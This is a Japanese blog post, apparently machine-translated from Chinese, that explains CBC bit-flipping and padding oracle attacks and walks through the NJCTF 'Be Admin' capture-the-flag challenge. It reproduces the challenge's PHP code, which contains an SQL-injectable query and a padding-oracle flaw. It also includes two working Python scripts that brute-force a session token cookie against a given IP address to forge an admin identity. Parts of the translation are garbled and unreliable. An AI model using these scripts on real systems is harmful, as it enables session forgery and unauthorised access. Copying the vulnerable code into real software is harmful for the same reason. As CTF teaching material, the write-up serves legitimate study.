CBCバイトフリップ攻撃の分析

CBCバイトフリップ攻撃の分析

1.ブロック暗号のモード

ブロック暗号には主に5つのモードがあります。

  1. ECBモード(電子コードブックモード)-(電子コードブックモード)
  2. CBCモード(Cipher Block Chainingモード)-(Cipher Block Chainingモード)
  3. CFBモード(暗号テキストフィードバックモード)-(暗号フィードバックモード)
  4. OFBモード(出力フィードバックモード)-(出力フィードバックモード)
  5. CTRモード(カウンターモード)-(CounteRモード)

これは、CBC暗号グループリンクモードの詳細な紹介のみです。次の図による簡単な紹介

画像-20200808220903785

まず、プレーンテキストのセットが与えられます。AESまたはDES暗号化標準に従ってデータをいくつかのブロックに分割します。各ブロックのサイズは16バイト、32バイトなどになります(上記のように文明をプレーンテキストグループに分割します)

次に、同じ長さと同じグループ化の初期化ベクトル(IV)を与え、プレーンテキストの各ブロックでXOR操作を実行し、取得したデータをキーで暗号化して暗号化テキストグループを取得します。取得した現在のブロックの暗号テキストパケットは、次のブロック暗号化の初期化ベクトルとして使用されます。(写真が示すように)

2.CBCバイトフリップ攻撃

この攻撃により、暗号テキストがわかっているときに必要なデータとしてプレーンテキストを制御できます。(後述のパディングオラクル攻撃は、プレーンテキストを制御できるだけでなく、プレーンテキストデータを取得することもできます)

画像-20200808220903785

上の図を使用して紹介しましょう。復号化プロセスを見てみましょう:(後ろから前へ)

たとえば、通常の復号化では、プレーンテキストグループ4を取得します。どうすればよいですか。

暗号テキストグループ4を復号化した後、暗号テキストグループ3とXORを実行して、プレーンテキストグループ4を取得します。

(ここでは、XORの性質について少し紹介します。たとえば、A XOR BはCを取得し、次にC XOR BもAを取得します)

私たちは一般的に暗号テキストを知っているからです。暗号テキストグループ3は任意に変更でき、暗号テキストグループ4の復号化された部分とXORされると、取得されるプレーンテキストグループは前のものとは異なります。

(暗号テキストグループの各ビットを可能な限り構築することを試みることができます-排他的なORビット操作を知っているため)

この時点で、構築するデータとしてプレーンテキストグループ4を偽造できます(暗号テキストグループ4の復号化キーが何であるかはわかりませんが、プレーンテキストグループ4を任意に構築できます)。

同様に、前の暗号テキストグループを使用して、必要な値をカスタマイズできます(最初の部分については、初期初期化ベクトルIVがわかっている場合は、それを作成することもできます)。

3.Oracle攻撃のパディング

まず、データブロックの充填ルールを紹介します。一般的なものはPKCS#5とPKCS#7で、それぞれ8バイトパケットと16バイトパケットで充填されます。

たとえば、PKCS#7は16バイトのコンポーネントで埋められ、すべてが10バイトで埋められる必要があるため、長さが6のプレーンテキスト「m1sn0w」の文字列が与えられた場合、PKCS#7のパディング方法を使用します。 16の整数倍。では、塗りつぶされた文字は何ですか?答えは0x0a(16進数で10)です。

等々:

如果明文长度为15,我们需要填充一个字节0x01
如果明文长度为14,我们需要填充两个个字节0x02

这里特别需要注意的是:如果明文长度为16的整数字节长,它也需要填充
它会一次填充16位,且填充的字符为0x10

Oracle攻撃をパディングするためのいくつかの条件は次のとおりです。

最初に導入する必要があるのは、CBCモードの復号化には一般にいくつかの判断があるということです。

1、正常解密,得到明文

2、解密成功,但是解密得到的和明文不匹配

3、解密错误,抛出异常

復号化エラーについての特別な言及があります。CBCモードで暗号化テキストの最初の文字列を復号化すると、復号化が完了した後、プログラムは最終的に復号化されたプレーンテキストのフィラーを介して復号化が成功したかどうかを判断します。

例えば:

復号化されたプレーンテキストの最後の1ビットフィラーが0x01の場合、プログラムは復号化が成功したと判断します。

逆に、最後の桁だけが0x02の場合、プログラムは復号化エラーを判断します(フィラーが0x02の場合、最後の2桁は0x02である必要があることがわかっているため)

Webアプリケーションでは、通常、3つの論理的な判断があります。(たとえば、暗号化されたデータはCookieで使用されます)

1、如果cookie正常解密,且明文匹配,那么我们可以直接进入网页

2、cookie正常解密,但是解密出来的明文不符合,仍然不可以登录

3、cookie解密错误,抛出500错误

上記の状況がウェブページに存在する場合、パディングオラクル攻撃がある可能性があります。この攻撃を実装するにはどうすればよいですか?

上記で紹介したCBCフリップ攻撃を次に示します。または、このアイコンを使用して紹介します。

画像-20200808220903785

暗号テキストグループ3を作成することにより、プレーンテキストグループ4の値を任意に作成できることがわかっています。

上記の3つの論理的判断により、暗号テキストグループ3の最後の桁を作成し、試行錯誤を繰り返すと、プレーンテキストグループ4の最後の桁は常に0x01になります。

上位のWebアプリケーション環境にいると仮定すると、暗号テキストグループ3の最後のビットが正しく構築され、プレーンテキストグループ4の最後のビットが0x01である場合にのみ、プログラムは500エラーを返しません。

次に、暗号テキストグループ3の最後の桁を0x01とXORし、暗号テキストグループ4の復号化後の最後の桁の値を取得します(XORのプロパティによって取得されます)。

このようにループします:

最初のステップで、最後の桁の中間値を取得し、次に暗号テキストグループ3の最後から2番目と最初の最後から2番目を作成します(最後から2番目は、中間値がすでにわかっているため、作成する方が適切です)。プレーンテキストグループ4の最後の2つを0x02とすると、最後から2番目の中間値を取得できます(繰り返し、0x03、0x04を作成し、最後に、この中間値の文字列を復号化した後、すべての暗号テキストパケットを取得します)

次に、中間値と暗号テキストがすでにわかっているため、プレーンテキストデータを取得するのは非常に簡単です。プレーンテキスト値を取得するには、対応するXORを実行するだけで済みます。

四、NJCTF Web Be Admin

この質問は、オラクル攻撃のパディングの典型的な例です。

(再現されたソースコードはgithubで直接見つけることができます)

ファイルのバックアップを通じて、変更されたタイトルを取得し、ソースコードを取得します。

<?php
include 'config.php';
error_reporting(0);
define("SECRET_KEY", "this_is_key_you_do_not_know");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;

}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    
    return $password == $pass;
}



function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                <div class=\"grad\"></div>
                    <div class=\"header\">
                        <div>Log<span>In</span></div>
                    </div>
                    <br>
                    <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">               
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}

function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["encrypted_pass"];
    }
    
    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}

簡単な監査の後、おおよその使用率プロセスは次のようになります。

1、通过sql的union注入,登录进去,获取到SESSION['id']的值

	登录过后,会返回cookie的token值

2、然后我们通过test_identity函数,进行padding oracle attack攻击

ここでは、主にtest_identity関数を紹介します。

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

それらの中で、攻撃の一部は主にここにあります:

if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"])))

キーであるSECRET_KEY、またはcプレーンテキストはわかりませんが、cのプレーンテキストを制御することはできますが、制御することはできます。c Ming Wen しかしShi たちシステム_COOKIE ["token"]制御することができ、彼は初期化ベクトルIVとしてここにいます

(件名は、復号化でエラーが発生した場合、die( "ERROR"))と想定するWeb環境に適合します)

次に、$ _ COOKIE ['token']の値の作成を続行し、最後に値がadmin0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0bであるプレーンテキストを偽造できます。

これが私自身によって書かれたスクリプトです:

import base64
import requests
from binascii import a2b_hex
import urllib

def deal_hex(index):
    tmp = hex(index)
    if index > 15:
        return a2b_hex(tmp[2:])
    else:
        return a2b_hex('0'+tmp[2:])

def padding(token,pad):
    tmp_token = token
    if len(middle_value) != 0:
        for index in middle_value:
            tmp_token += deal_hex(index ^ pad)
    return tmp_token


url = "http://121.41.113.245:8085/"
token = "A0KKqNuqv5jpnfe62FGFpw%3D%3D"
urldeal = urllib.parse.unquote(token)
tokens = base64.b64decode(urldeal)

middle_value = []
for j in range(16):
    change = j + 1
    tmp_index = 16-j-1
    tmp_token = tokens[0:tmp_index]
    for i in range(0, 255):
        ch = deal_hex(i)
        # print(len(tokens[0:15] + ch))
        newtoken = padding(tmp_token+ch,change)
        newtoken = urllib.parse.quote(str(base64.b64encode(newtoken),encoding='utf-8'))
        #print(newtoken)
        # print(newtoken)
        header = {
            "Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken
        }
        r = requests.post(url, headers=header)
        if "ERR" not in r.text:
            middle_value.insert(0,change ^ i)
            print(middle_value)
            break

このスクリプトは中間値(つまり、暗号化テキストの復号化された値の一部)を取得します—(このスクリプトには小さな欠陥があり、最初の中間値を取得できないため、次のスクリプトを使用して最初の値を直接ブラストします)

import requests
import base64
from binascii import a2b_hex
import urllib

def deal_hex(index):
    tmp = hex(index)
    if index > 15:
        return a2b_hex(tmp[2:])
    else:
        return a2b_hex('0'+tmp[2:])
url = "http://121.41.113.245:8085/"
inin_iv = [0, 83, 130, 178, 193, 170, 191, 152, 233, 157, 247, 186, 216, 81, 133, 173]
for i in range(0,255):
    inin_iv[0] = i
    token = b''
    for i in inin_iv:
        token += deal_hex(i)
    newtoken = urllib.parse.quote(str(base64.b64encode(token),encoding='utf-8'))
    header = {
        "Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken
    }
    r = requests.post(url, headers=header)
    if "{" in r.text:
        print(r.text)


inin_ivは、最初のスクリプトと作成されるプレーンテキストによって取得された値のXOR値です。

最後にフラグを取得します

<!doctype html>
<html>
<head><title>Login</title></head>
<body>Hello ~~~ ctfer! CTFTraining{CoColi_has_to_work_hard}<div><a href="logout.php">Log out</a></div>
</body>
</html>

参照リンク:

https://www.freebuf.com/articles/database/151167.html

おすすめ

転載: blog.csdn.net/gental_z/article/details/107937170